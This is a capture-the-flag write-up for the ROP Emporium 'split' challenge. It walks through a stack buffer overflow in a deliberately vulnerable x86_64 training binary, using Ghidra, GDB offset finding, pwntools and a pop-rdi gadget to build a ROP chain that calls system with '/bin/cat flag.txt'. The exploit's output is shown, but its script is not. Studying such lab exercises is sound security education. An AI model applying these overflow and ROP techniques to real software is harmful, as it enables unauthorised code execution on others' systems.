Let's test the program :
$ ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> test
Thank you!
Exiting
Using Ghidra we can find those functions :
undefined8 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
puts("split by ROP Emporium");
puts("x86_64\n");
pwnme();
puts("\nExiting");
return 0;
}
void pwnme(void)
{
undefined local_28 [32];
memset(local_28,0,32);
puts("Contriving a reason to ask user for data...");
printf("> ");
read(0,local_28,96);
puts("Thank you!");
return;
}
void usefulFunction(void)
{
system("/bin/ls");
return;
}
In the description of the challenge, we're told there is a /bin/cat flag.txt
string in the binary.
The read()
function in pwnme()
is expecting 96 bytes even tho the local_28
variable is 32 bytes long. This is vulnerable to a buffer overflow.
Let's exploit this to run the system call in usefulFunction()
with the /bin/cat flag.txt
string as parameter.
Using GDB, we'll find out how many bytes we need to send to modify the return address.
Let's take a look at the stack after we've send 32 bytes :
gef➤ r <<< $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x41"*32)')
────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffda30│+0x0000: 0x4141414141414141 ← $rsp, $rsi
0x00007fffffffda38│+0x0008: 0x4141414141414141
0x00007fffffffda40│+0x0010: 0x4141414141414141
0x00007fffffffda48│+0x0018: 0x4141414141414141
0x00007fffffffda50│+0x0020: 0x00007fffffffda0a → 0xdb7800007fffffff ← $rbp
0x00007fffffffda58│+0x0028: 0x00000000004006d7 → <main+0040> mov edi, 0x400806
0x00007fffffffda60│+0x0030: 0x0000000000000001
0x00007fffffffda68│+0x0038: 0x00007ffff7df16ca → <__libc_start_call_main+007a> mov edi, eax
──────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400728 <pwnme+0040> mov rsi, rax
0x40072b <pwnme+0043> mov edi, 0x0
0x400730 <pwnme+0048> call 0x400590 <read@plt>
→ 0x400735 <pwnme+004d> mov edi, 0x40083f
0x40073a <pwnme+0052> call 0x400550 <puts@plt>
0x40073f <pwnme+0057> nop
0x400740 <pwnme+0058> leave
0x400741 <pwnme+0059> ret
0x400742 <usefulFunction+0000> push rbp
We can see that the rbp is stored right after the variable : our payload will have an offset of 32 bytes.
Let's find the /bin/cat flag.txt
string using pwntool :
from pwn import *
binary = ELF("./split")
string = next(binary.search(b"/bin/cat"))
print(string)
$ python3 cat.py
[*] '/home/coucou/Documents/ROP_Emporium/02_split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
6295648
gef➤ x/s 6295648
0x601060 <usefulString>: "/bin/cat flag.txt"
Finally to run the system call with another argument we need to modify the rdi with a pointer to the string we just found, let's find a gadget to do so :
$ ROPgadget --binary split | grep rdi
0x0000000000400288 : loope 0x40025a ; sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
0x00000000004007c3 : pop rdi ; ret
0x000000000040028a : sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
gef➤ x/2wi 0x00000000004007c3
0x4007c3 <__libc_csu_init+99>: pop rdi
0x4007c4 <__libc_csu_init+100>: ret
We've got all we need, our payload will be : an offset to reach the return address, the gadget to modify rdi followed by the pointer to the string to be put inside rdi, and finally the pointer to the system call.
We'll use this script to send our payload :
$ python3 exploit.py
[*] '/home/coucou/Documents/ROP_Emporium/02_split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/coucou/Documents/ROP_Emporium/02_split/split': pid 27166
[*] Switching to interactive mode
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> $
[*] Stopped process '/home/coucou/Documents/ROP_Emporium/02_split/split' (pid 27166)
The program returned the flag, our exploit is working !